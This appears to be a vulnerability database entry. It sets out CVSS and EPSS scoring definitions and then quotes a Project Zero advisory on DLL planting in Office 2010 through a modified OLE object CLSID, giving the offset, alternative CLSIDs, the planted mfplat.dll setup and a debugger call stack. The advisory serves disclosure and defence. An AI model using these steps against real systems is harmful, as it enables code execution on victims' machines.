Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Source: https://code.google.com/p/google-security-research/issues/detail?id=555 It is possible for an attacker to execute a DLL planting attack in Microsoft Office 2010 on Windows 7 x86 with a specially crafted OLE object. The attached POC document "planted-mfplat.doc" contains what was originally an embedded Packager object. The CLSID for this object was changed at offset 0x2650 to be {62dc1a93-ae24-464c-a43e-452f824c4250} (formatted as pack(">IHHBBBBBBBB")) which is one of several registered objects that have an InProcServer32 of WMALFXGFXDSP.dll. Other options include: {637c490d-eee3-4c0a-973f-371958802da2} {874131cb-4ecc-443b-8948-746b89595d20} {96749377-3391-11D2-9EE3-00C04F797396} When a user opens this document and single clicks on the icon for foo.txt ole32!OleLoad is invoked on our vulnerable CLSID. This results in a call to wmalfxgfxdsp!DllGetClassObject() which does a LoadLibraryW() call for "mfplat". If the attached mfplat.dll is placed in the same directory with the planted-mfplat.doc file you should see a popup coming from this DLL being loaded from the current working directory of Word. Here is the call stack leading up to the vulnerable LoadLibraryW() call: 0:000> kb ChildEBP RetAddr Args to Child 002c8d18 68f02e2f 68f02e70 68f013bc 003f0774 kernel32!LoadLibraryW 002c8d28 68f01ff4 00000000 002c93f4 003ff174 WMALFXGFXDSP!InitAVRTAlloc+0x58 002c8d3c 7660aec6 003f0764 00000000 002c8de4 WMALFXGFXDSP!DllGetClassObject+0x87 002c8d58 765e91cd 003f0764 7660ee84 002c8de4 ole32!CClassCache::CDllPathEntry::DllGetClassObject+0x30 [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 3324] 002c8d70 765e8e92 002c8d84 7660ee84 002c8de4 ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+0x1f [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 3831] 002c8da8 765e8c37 002c8dec 00000000 002c93f4 ole32!CClassCache::GetClassObject+0x49 [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 4582] 002c8e24 76603170 76706444 00000000 002c93f4 ole32!CServerContextActivator::CreateInstance+0x110 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 974] 002c8e64 765e8daa 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917] 002c8eb8 765e8d1f 7670646c 00000000 002c93f4 ole32!CApartmentActivator::CreateInstance+0x112 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 2268] 002c8ed8 765e8aa2 76706494 00000001 00000000 ole32!CProcessActivator::CCICallback+0x6d [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1737] 002c8ef8 765e8a53 76706494 002c9250 00000000 ole32!CProcessActivator::AttemptActivation+0x2c [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1630] 002c8f34 765e8e0d 76706494 002c9250 00000000 ole32!CProcessActivator::ActivateByContext+0x4f [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1487] 002c8f5c 76603170 76706494 00000000 002c93f4 ole32!CProcessActivator::CreateInstance+0x49 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1377] 002c8f9c 76602ef4 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917] 002c91fc 76603170 76706448 00000000 002c93f4 ole32!CClientContextActivator::CreateInstance+0xb0 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 685] 002c923c 76603098 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917] 002c9a10 76609e25 002c9b2c 00000000 00000403 ole32!ICoCreateInstanceEx+0x404 [d:\w7rtm\com\ole32\com\objact\objact.cxx @ 1334] 002c9a70 76609d86 002c9b2c 00000000 00000403 ole32!CComActivator::DoCreateInstance+0xd9 [d:\w7rtm\com\ole32\com\objact\immact.hxx @ 343] 002c9a94 76609d3f 002c9b2c 00000000 00000403 ole32!CoCreateInstanceEx+0x38 [d:\w7rtm\com\ole32\com\objact\actapi.cxx @ 157] 002c9ac4 7662154c 002c9b2c 00000000 00000403 ole32!CoCreateInstance+0x37 [d:\w7rtm\com\ole32\com\objact\actapi.cxx @ 110] 002c9b40 7661f2af 62dc1a93 464cae24 2f453ea4 ole32!wCreateObject+0x106 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 3046] 002c9ba4 7661f1d4 06370820 00000000 5f3363a8 ole32!OleLoadWithoutBinding+0x9c [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1576] 002c9bcc 611483bf 06370820 5f3363a8 045d86e0 ole32!OleLoad+0x37 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1495] WARNING: Stack unwind information not available.
